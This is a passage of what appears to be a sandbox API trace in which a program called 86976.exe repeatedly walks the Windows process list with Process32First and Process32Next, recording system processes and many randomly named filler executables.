	[0119.410] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0119.412] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.413] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.414] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0119.415] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.416] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.417] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.418] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.419] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.420] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.420] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0119.422] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.422] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.423] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0119.424] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.425] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0119.426] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.427] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0119.428] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0119.429] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0119.430] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0119.431] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds rice judgment op.exe")) returned 1
	[0119.432] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperial oils pest.exe")) returned 1
	[0119.433] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="collaboration.exe")) returned 1
	[0119.434] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="flood-save-circuits.exe")) returned 1
	[0119.434] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="tissue.exe")) returned 1
	[0119.435] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="draw_edited.exe")) returned 1
	[0119.436] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="endorsed-author.exe")) returned 1
	[0119.437] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="verifytorturelgspatial.exe")) returned 1
	[0119.438] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extraordinary_nasdaq_electro.exe")) returned 1
	[0119.439] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlet-publication-assignments-essentials.exe")) returned 1
	[0119.447] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="advantages.exe")) returned 1
	[0119.449] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="enclosedreservespringfieldhour.exe")) returned 1
	[0119.449] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="chester-theft-ye.exe")) returned 1
	[0119.450] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufactured_engaged.exe")) returned 1
	[0119.451] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="israel-again-maryland.exe")) returned 1
	[0119.452] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="handheld_co.exe")) returned 1
	[0119.453] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="extreme_disposition_griffin.exe")) returned 1
	[0119.454] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural expand cancellation.exe")) returned 1
	[0119.455] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1
	[0119.456] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="milwaukeemoscow.exe")) returned 1
	[0119.457] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="regarding weights.exe")) returned 1
	[0119.458] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="boom_eye_suppose_sides.exe")) returned 1
	[0119.459] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="opponent-adjustment-textbook.exe")) returned 1
	[0119.460] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0119.461] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.462] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0119.463] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.463] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 1
	[0119.464] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0xe6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="86976.exe")) returned 0
	[0119.465] CloseHandle (hObject=0x484) returned 1
	[0119.468] Process32First (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0119.469] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0119.469] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0119.471] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.472] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0119.473] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0119.473] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0119.474] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0119.475] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0119.476] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.477] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.478] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0119.479] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.480] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.481] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.482] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.483] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.484] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x264, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.485] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0119.486] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.487] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.488] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0119.488] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0119.489] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0119.490] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0119.491] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0119.492] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0119.493] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0119.494] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0119.495] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="beds rice judgment op.exe")) returned 1
	[0119.496] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperial oils pest.exe")) returned 1
	[0119.497] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="collaboration.exe")) returned 1
	[0119.498] Process32Next (in: hSnapshot=0x484, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="flood-save-circuits.exe")) returned 1
